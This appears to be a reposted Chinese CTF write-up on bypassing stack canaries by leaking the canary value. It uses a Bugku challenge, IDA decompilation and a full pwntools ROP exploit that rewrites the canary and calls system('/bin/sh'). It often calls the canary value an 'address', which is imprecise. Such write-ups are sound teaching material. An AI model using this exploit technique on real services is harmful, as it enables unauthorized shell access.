canary保護簡介
Canary 的意思是金絲雀,來源于英國礦井工人用來探查井下氣體是否有毒的金絲雀籠子,工人們每次下井都會帶上一只金絲雀,如果井下的氣體有毒,金絲雀由于對毒性敏感就會停止鳴叫甚至死亡,從而使工人們得到預警,
當canary被打開,那么程式在最開始會把fs暫存器里面的值放進堆疊底的某個地方(通常32位程式是rbp-4,64位是rbp-8),當堆疊在使用完畢之前,會對這個地方的值進行異或檢測,如果這個值被修改,那么程式就會報錯,
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| 區域變數 |
Low | |
Address
我們知道,一般的堆疊溢位都是用gadget碎片進行攻擊,也就意味著我們必須要溢位到回傳地址的位置,那么堆疊底也會被覆寫,這樣程式一定會報錯,這樣就達不到我們入侵的效果,
鑒于以上的原因,canary如今被廣泛的用于堆疊保護的第一道防線,
那么如何繞過它呢?此處我們詳細介紹一個繞過方式,
泄露canary地址
字符泄露
經過剛才的介紹,我們已經知道了canary是程式中的一個值,那我們就可以通過泄露這個值的地址,然后在溢位時將堆疊底需要檢測canary的那一塊地址原封不動的寫入canary,實作繞過的效果,
用bugku的例題canary - Bugku CTF

用ida打開,反編譯得到

不難看出read函式有堆疊溢位漏洞,但是在最開始有一個v6 = __readfsqword(0x28u);這個就是canary防護的標志,其他開有canary防護的大差不差都有這種函式特征,
看看匯編代碼,發現是將fs暫存器里的值放到了rbp-8的位置

再看看字串,system和/bin/sh都有,

checksec一下,發現確實開了canary

那么這個時候就要先列印出canary的地址,然后再溢位,溢位的程序中把canary的地址給到rbp-8的位置以繞過防護
下面直接貼出exp
from pwn import*
sh = process('./pwn4')
#sh = remote(ip,port)
context.log_level = 'debug'
payload1 = b'a'*568 #rbp-8的位置
sh.recvuntil(b"name(Within 36 Length):")
sh.sendline(payload1)
sh.recvuntil(b'a'*568 + b'\n') #發送字符后會有回顯,吸收掉這些回顯
canary = u64(b'\x00' + sh.recv(7)) #首先,因為地址排序是小端序的,canary地址沒有問題,但是地址后面還需要加上一個'\x00'結尾,所以'\x00'必須遵循小端序加在開頭的位置,然后才能把泄露的canary地址加上去,64位程式的canary的大小是8個位元組,從0開始數,所以recv(7),32位程式的canary的大小是4個位元組,從0開始數,應該recv(3)
print(hex(canary)) #列印canary地址,進行驗證
sh.recvuntil(b'Please leave a message(Within 0x200 Length)')
pop_rdi_ret = 0x0000000000400963
system_addr = 0x400660
binsh_addr = 0x0000000000601068
payload2 = b'a' * 520 + p64(canary) + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) #構造payload
sh.sendline(payload2)
sh.interactive()
其他繞過方式
[(8條訊息) pwn]ROP:三道題講解花式繞過Canary堆疊保護_breezeO_o的博客-CSDN博客
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/539119.html
標籤:其他
上一篇:零基礎入門資料挖掘——二手車交易價格預測:baseline
下一篇:Python 跳動的小球
